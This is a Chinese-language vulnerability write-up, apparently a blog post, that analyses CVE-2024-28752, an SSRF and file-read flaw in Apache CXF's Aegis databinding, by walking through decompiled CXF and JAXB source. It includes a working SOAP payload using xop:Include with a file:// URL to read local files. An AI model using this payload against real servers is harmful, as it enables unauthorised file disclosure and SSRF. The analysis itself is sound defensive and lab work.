漏洞详情

Apache CXF是一个开源的 WebService 框架,CXF可以用来构建和开发 WebService,并且支持多种协议。2024年3月15日,官方发布安全公告,披露 CVE-2024-28752。Apache CXF Aegis databinding SSRF漏洞,在使用了 Aegis DataBinding 的情况下可能存在SSRF漏洞,使用其他的 data bindings (包括默认的data bindings)则不受影响。

环境搭建

这里直接用的p牛的环境了,在搭建好docker后直接把jar包拖出来就行了。

https://github.com/vulhub/vulhub/blob/master/apache-cxf/CVE-2024-28752/README.zh-cn.md

​

或者也可以从github上拉他的示例项目

https://github.com/apache/cxf/tree/main/distribution/src/main/release/samples/java_first_jaxws_factory_bean#/

漏洞分析

这个漏洞的调用栈还挺长的,所以就直接调试分析了。

​

首先可以先看看payload:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
   <soapenv:Header/>
   <soapenv:Body>
      <web:test>
         <arg0>
            <count>
               <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///C:/flag"></xop:Include>
            </count>
         </arg0>
      </web:test>
   </soapenv:Body>
</soapenv:Envelope>


这是一个标准的SOAP Envelope,其中需要注意的xop:Include这个结构,它用于在XML中引入一段外部二进制内容,当是一段url时就会尝试读取该URL,因此可以利用这个特性读取本地文件。

​

了解了payload之后,可以开始调试了,首先是CXF服务端的入口方法AbstractHTTPDestination#invoke。


它的核心作用就是获取HTTP请求并进行包装,然后交给拦截器链进行处理,具体的拦截器链路就不跟了,有点多和这个洞也没很大关系。

​

直接定位到处理href内容的方法MTOMDecorator#startElement

    public void startElement(TagName tagName) throws SAXException {
        if (tagName.local.equals("Include") && tagName.uri.equals("http://www.w3.org/2004/08/xop/include")) {
            String href = tagName.atts.getValue("href");
            DataHandler attachment = this.au.getAttachmentAsDataHandler(href);
            if (attachment == null) {
                this.parent.getEventHandler().handleEvent((ValidationEvent)null);
            }

            this.base64data.set(attachment);
            this.next.text(this.base64data);
            this.inXopInclude = true;
            this.followXop = true;
        } else {
            this.next.startElement(tagName);
        }

    }


这个方法中获取了href参数,并交给了getAttachmentAsDataHandler方法处理,这个方法用于获取对应的DataHandler对象




最终处理是在

public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
    if (contentId.startsWith("cid:")) {
        try {
            contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
        } catch (UnsupportedEncodingException var3) {
            contentId = contentId.substring(4);
        }

        return loadDataSource(contentId, atts);
    } else if (contentId.indexOf("://") == -1) {
        return loadDataSource(contentId, atts);
    } else {
        try {
            return new URLDataSource(new URL(contentId));
        } catch (MalformedURLException var4) {
            MalformedURLException e = var4;
            throw new Fault(e);
        }
    }
}


这个方法根据contentId获取DataSource,先判断是否为cid前缀,不是再通过://说明是不是URL,随后创建URLDataSource,调试可以发现这里只保存了URL,并没有根据URL进行文件读取操作。


下面就是Base64Data类了,在这个类中完成了对本地文件的读取和base64编码操作。


package com.sun.xml.internal.bind.v2.runtime.unmarshaller;

import com.sun.istack.internal.Nullable;
import com.sun.xml.internal.bind.DatatypeConverterImpl;
import com.sun.xml.internal.bind.v2.runtime.output.Pcdata;
import com.sun.xml.internal.bind.v2.runtime.output.UTF8XmlOutput;
import com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.xml.stream.XMLStreamException;
import javax.xml.stream.XMLStreamWriter;

public final class Base64Data extends Pcdata {
    private DataHandler dataHandler;
    private byte[] data;
    private int dataLen;
    @Nullable
    private String mimeType;

    public Base64Data() {
    }

    public void set(byte[] data, int len, @Nullable String mimeType) {
        this.data = data;
        this.dataLen = len;
        this.dataHandler = null;
        this.mimeType = mimeType;
    }

    public void set(byte[] data, @Nullable String mimeType) {
        this.set(data, data.length, mimeType);
    }

    public void set(DataHandler data) {
        assert data != null;

        this.dataHandler = data;
        this.data = null;
    }

    public DataHandler getDataHandler() {
        if (this.dataHandler == null) {
            this.dataHandler = new DataHandler(new DataSource() {
                public String getContentType() {
                    return Base64Data.this.getMimeType();
                }

                public InputStream getInputStream() {
                    return new ByteArrayInputStream(Base64Data.this.data, 0, Base64Data.this.dataLen);
                }

                public String getName() {
                    return null;
                }

                public OutputStream getOutputStream() {
                    throw new UnsupportedOperationException();
                }
            });
        }

        return this.dataHandler;
    }

    public byte[] getExact() {
        this.get();
        if (this.dataLen != this.data.length) {
            byte[] buf = new byte[this.dataLen];
            System.arraycopy(this.data, 0, buf, 0, this.dataLen);
            this.data = buf;
        }

        return this.data;
    }

    public InputStream getInputStream() throws IOException {
        return (InputStream)(this.dataHandler != null ? this.dataHandler.getInputStream() : new ByteArrayInputStream(this.data, 0, this.dataLen));
    }

    public boolean hasData() {
        return this.data != null;
    }

    public byte[] get() {
        if (this.data == null) {
            try {
                ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
                InputStream is = this.dataHandler.getDataSource().getInputStream();
                baos.readFrom(is);
                is.close();
                this.data = baos.getBuffer();
                this.dataLen = baos.size();
            } catch (IOException var3) {
                this.dataLen = 0;
            }
        }

        return this.data;
    }

    public int getDataLen() {
        return this.dataLen;
    }

    public String getMimeType() {
        return this.mimeType == null ? "application/octet-stream" : this.mimeType;
    }

    public int length() {
        this.get();
        return (this.dataLen + 2) / 3 * 4;
    }

    public char charAt(int index) {
        int offset = index % 4;
        int base = index / 4 * 3;
        byte b1;
        switch (offset) {
            case 0:
                return DatatypeConverterImpl.encode(this.data[base] >> 2);
            case 1:
                if (base + 1 < this.dataLen) {
                    b1 = this.data[base + 1];
                } else {
                    b1 = 0;
                }

                return DatatypeConverterImpl.encode((this.data[base] & 3) << 4 | b1 >> 4 & 15);
            case 2:
                if (base + 1 < this.dataLen) {
                    b1 = this.data[base + 1];
                    byte b2;
                    if (base + 2 < this.dataLen) {
                        b2 = this.data[base + 2];
                    } else {
                        b2 = 0;
                    }

                    return DatatypeConverterImpl.encode((b1 & 15) << 2 | b2 >> 6 & 3);
                }

                return '=';
            case 3:
                if (base + 2 < this.dataLen) {
                    return DatatypeConverterImpl.encode(this.data[base + 2] & 63);
                }

                return '=';
            default:
                throw new IllegalStateException();
        }
    }

    public CharSequence subSequence(int start, int end) {
        StringBuilder buf = new StringBuilder();
        this.get();

        for(int i = start; i < end; ++i) {
            buf.append(this.charAt(i));
        }

        return buf;
    }

    public String toString() {
        this.get();
        return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);
    }

    public void writeTo(char[] buf, int start) {
        this.get();
        DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, buf, start);
    }

    public void writeTo(UTF8XmlOutput output) throws IOException {
        this.get();
        output.text(this.data, this.dataLen);
    }

    public void writeTo(XMLStreamWriter output) throws IOException, XMLStreamException {
        this.get();
        DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, output);
    }
}


然后就是basedata跟随异常被带出到页面中了。

漏洞复现


成功读取文件内容。

漏洞修复


官方主要修复了AttachmentUtil类,也就是创建URLDataSource这里。